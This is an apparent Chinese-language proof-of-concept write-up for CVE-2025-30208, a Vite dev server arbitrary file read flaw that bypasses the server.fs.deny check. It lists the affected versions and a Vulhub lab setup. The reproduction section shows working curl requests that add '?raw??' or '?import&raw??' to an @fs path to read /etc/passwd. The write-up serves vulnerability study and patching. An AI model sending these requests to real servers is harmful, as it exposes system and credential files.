Awesome-POC/开发框架漏洞/Vite 开发服务器任意文件读取漏洞绕过 CVE-2025-30208.md
2025-03-31 16:46:35 +08:00

68 lines
2.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vite 开发服务器任意文件读取漏洞绕过 CVE-2025-30208
## 漏洞描述
Vite 是一个现代前端构建工具,为 Web 项目提供更快、更精简的开发体验。它主要由两部分组成具有热模块替换HMR功能的开发服务器以及使用 Rollup 打包代码的构建命令。
在 Vite 6.2.3、6.1.2、6.0.12、5.4.15 和 4.5.10 版本之前,用于限制访问 Vite 服务允许列表之外的文件的 `server.fs.deny` 功能可被绕过。通过在 URL 的 `@fs` 前缀后增加 `?raw??``?import&raw??`,攻击者可以读取文件系统上的任意文件。
此漏洞发生的原因是,在请求处理过程中尾部分隔符(如 `?`)在多个地方被移除,但在查询字符串正则表达式中没有考虑,导致安全检查被绕过。
这个漏洞是 [CNVD-2022-44615](https://github.com/vulhub/vulhub/blob/master/vite/CNVD-2022-44615/README.zh-cn.md) 补丁的绕过。
参考链接:
- [https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w](https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w)
- [https://nvd.nist.gov/vuln/detail/CVE-2025-30208](https://nvd.nist.gov/vuln/detail/CVE-2025-30208)
## 漏洞影响
```
6.2.0 <= Vite <= 6.2.2
6.1.0 <= Vite <= 6.1.1
6.0.0 <= Vite <= 6.0.11
5.0.0 <= Vite <= 5.4.14
Vite <= 4.5.9
```
只有明确将 Vite 开发服务器公开到网络(使用 `--host` 或 `server.host` 配置选项)的应用程序才会受到影响。
## 环境搭建
Vulhub 执行以下命令启动 Vite 6.2.2 开发服务器:
```
docker compose up -d
```
服务器启动后,可以通过访问 `http://your-ip:5173` 来访问 Vite 开发服务器。
> 注意:旧版本 Vite 的开发服务器默认端口为 3000新版本默认端口为 5173请注意区分。
## 漏洞复现
尝试使用标准的 `@fs` 前缀访问 `/etc/passwd`,测试正常访问是否会被限制:
![](images/Vite%20开发服务器任意文件读取漏洞绕过%20CVE-2025-30208/image-20250331091729175.png)
可见,当发送请求到 `http://your-ip:5173/@fs/etc/passwd` 时,你会收到 403 Forbidden 响应,因为这个路径在 Vite 服务的允许范围之外。
通过在 URL 后附加 `?raw??``?import&raw??`,你就可以绕过这个限制并获取文件内容:
```shell
curl "http://your-ip:5173/@fs/etc/passwd?raw??"
# or
curl "http://your-ip:5173/@fs/etc/passwd?import&raw??"
```
这个请求将会返回 `/etc/passwd` 文件的内容:
![](images/Vite%20开发服务器任意文件读取漏洞绕过%20CVE-2025-30208/image-20250331091806793.png)
![](images/Vite%20开发服务器任意文件读取漏洞绕过%20CVE-2025-30208/image-20250331091939518.png)
## 漏洞修复
目前官方已发布新版本修复该漏洞,下载链接: https://github.com/vitejs/vite/releases